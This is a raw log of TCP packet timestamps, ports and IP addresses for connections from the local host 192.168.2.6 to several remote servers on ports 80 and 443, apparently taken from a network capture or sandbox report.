Nov 25, 2024 07:53:23.663553953 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.664268017 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.664352894 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.664417982 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.665138960 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.665153027 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.665199995 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.665906906 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.666013002 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.666153908 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.666740894 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.666826963 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.666861057 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.666930914 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.667557955 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.667615891 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.667637110 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.667866945 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.668422937 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.668461084 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.668492079 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.668540955 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.669228077 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.669281960 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.669373989 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.669434071 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.670068979 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.670080900 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.670121908 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.670197964 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.670888901 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.670994997 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.671058893 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.671693087 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.671793938 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.671804905 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.671849012 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.672571898 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.672708988 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.672763109 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:23.673424959 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.673500061 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:23.673578024 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:24.213869095 CET	443	49740	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:24.213951111 CET	49740	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:24.217165947 CET	49740	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:24.217180967 CET	443	49740	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:24.217519045 CET	443	49740	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:24.222558975 CET	49740	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:24.267334938 CET	443	49740	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:24.308079958 CET	49740	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:24.308109045 CET	443	49740	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:24.309762001 CET	49740	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:24.309767008 CET	443	49740	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:24.496571064 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:24.540622950 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:24.541867018 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:24.541882992 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:24.542443037 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:24.542452097 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:24.738353968 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:24.769819975 CET	49742	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:24.769845963 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:24.770437002 CET	49742	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:24.770442009 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:24.871054888 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:24.871118069 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:24.899521112 CET	443	49740	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:24.899622917 CET	443	49740	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:24.899677038 CET	49740	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:24.900223017 CET	49740	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:24.900238991 CET	443	49740	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:24.901796103 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:24.947073936 CET	49743	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:24.947844982 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:24.947909117 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:24.947976112 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:24.990919113 CET	49743	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:24.990926981 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:24.991343021 CET	49743	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:24.991348028 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.002599001 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.002599001 CET	49741	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.002618074 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.002629042 CET	443	49741	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.090121031 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.095093966 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.139797926 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.139803886 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.188038111 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.188119888 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.188222885 CET	49742	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.234556913 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.234566927 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.235251904 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.235259056 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.238042116 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.238051891 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.238498926 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.238502979 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.347148895 CET	49749	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:25.347208023 CET	443	49749	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:25.347271919 CET	49749	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:25.350238085 CET	49749	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:25.350250006 CET	443	49749	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:25.351531029 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.351598024 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.351670980 CET	49743	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.358364105 CET	49742	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.358378887 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.358429909 CET	49742	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.358436108 CET	443	49742	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.394391060 CET	49753	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:25.394408941 CET	443	49753	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:25.394510984 CET	49753	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:25.394804955 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:25.394819975 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:25.394884109 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:25.395253897 CET	49755	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:25.395263910 CET	443	49755	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:25.395494938 CET	49755	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:25.395494938 CET	49753	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:25.395522118 CET	443	49753	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:25.395663023 CET	49754	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:25.395674944 CET	443	49754	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:25.395834923 CET	49755	443	192.168.2.6	142.250.181.68
Nov 25, 2024 07:53:25.395848989 CET	443	49755	142.250.181.68	192.168.2.6
Nov 25, 2024 07:53:25.413455963 CET	49743	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.413470984 CET	443	49743	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.436608076 CET	49756	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.436656952 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.436753988 CET	49756	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.454890966 CET	49757	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.455003977 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.455073118 CET	49757	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.484967947 CET	49756	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.485004902 CET	443	49756	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.498382092 CET	49758	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.498410940 CET	443	49758	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.498481989 CET	49758	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.500674009 CET	49758	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.500686884 CET	443	49758	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.501075983 CET	49757	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.501107931 CET	443	49757	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.535267115 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:25.535290956 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:25.539292097 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:25.539298058 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:25.581919909 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.581979990 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.582031965 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.582313061 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.582329035 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.582360983 CET	49745	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.582366943 CET	443	49745	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.585264921 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.585319042 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.585417986 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.586819887 CET	49759	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.586874962 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.586944103 CET	49759	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.587116003 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.587116003 CET	49744	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.587137938 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.587150097 CET	443	49744	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.587575912 CET	49759	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.587606907 CET	443	49759	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.592825890 CET	49760	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.592855930 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.592938900 CET	49760	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.593099117 CET	49760	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:25.593111992 CET	443	49760	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:25.898490906 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:25.898515940 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:25.898531914 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:25.898555994 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:25.898601055 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:25.898612022 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:25.898667097 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.083319902 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.083344936 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.083396912 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.083406925 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.083437920 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.083451986 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.135467052 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.135493040 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.135548115 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.135556936 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.135601044 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.135627985 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.251343012 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.251367092 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.251441002 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.251454115 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.251499891 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.251527071 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.289251089 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.289271116 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.289393902 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.289422035 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.289591074 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.313575029 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.313595057 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.313652039 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.313664913 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.313714027 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.313724995 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.330441952 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.330471992 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.330741882 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.330754042 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.330914021 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.438604116 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.438662052 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.438685894 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.438707113 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.438744068 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.438765049 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.458237886 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.458257914 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.458364964 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.458383083 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.458621979 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.472932100 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.472954035 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.473052025 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.473068953 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.473177910 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.486057997 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.486100912 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.486148119 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.486155987 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.486202955 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.502428055 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.502468109 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.502533913 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.502542973 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.502614021 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.516043901 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.516078949 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.516170025 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.516177893 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.516223907 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.531322002 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.531361103 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.531411886 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.531424046 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.531471968 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.631513119 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.631548882 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.631606102 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.631619930 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.631633043 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.631675959 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.643404007 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.643435955 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.643470049 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.643477917 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.643513918 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.643537045 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.654388905 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.654426098 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.654486895 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.654495001 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.654525042 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.654544115 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.663507938 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.663542032 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.663593054 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.663599968 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.663639069 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.663650990 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.674700022 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.674731970 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.674772024 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.674786091 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.674813032 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.674825907 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.683785915 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.683820009 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.683866978 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.683873892 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.683923960 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.693949938 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.693981886 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.694024086 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.694031000 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.694066048 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.817043066 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.817079067 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.817183971 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.817195892 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.817233086 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.825404882 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.825443029 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.825499058 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.825505972 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.825547934 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.832511902 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.832545996 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.832632065 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.832638979 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.832695007 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.839750051 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.839778900 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.839852095 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.839859009 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.839911938 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.847801924 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.847836971 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.847875118 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.847882986 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.847942114 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.855320930 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.855360031 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.855428934 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.855437994 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.855489016 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.863356113 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.863389015 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.863441944 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.863449097 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.863492012 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.870306015 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.870340109 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.870425940 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:26.870433092 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:26.870482922 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:27.008896112 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:27.008934021 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:27.009021997 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:27.009036064 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:27.009069920 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:27.009094000 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:27.015672922 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:27.015698910 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:27.015738010 CET	49746	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:27.015749931 CET	443	49746	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:27.015790939 CET	49746	443	192.168.2.6	150.171.27.10
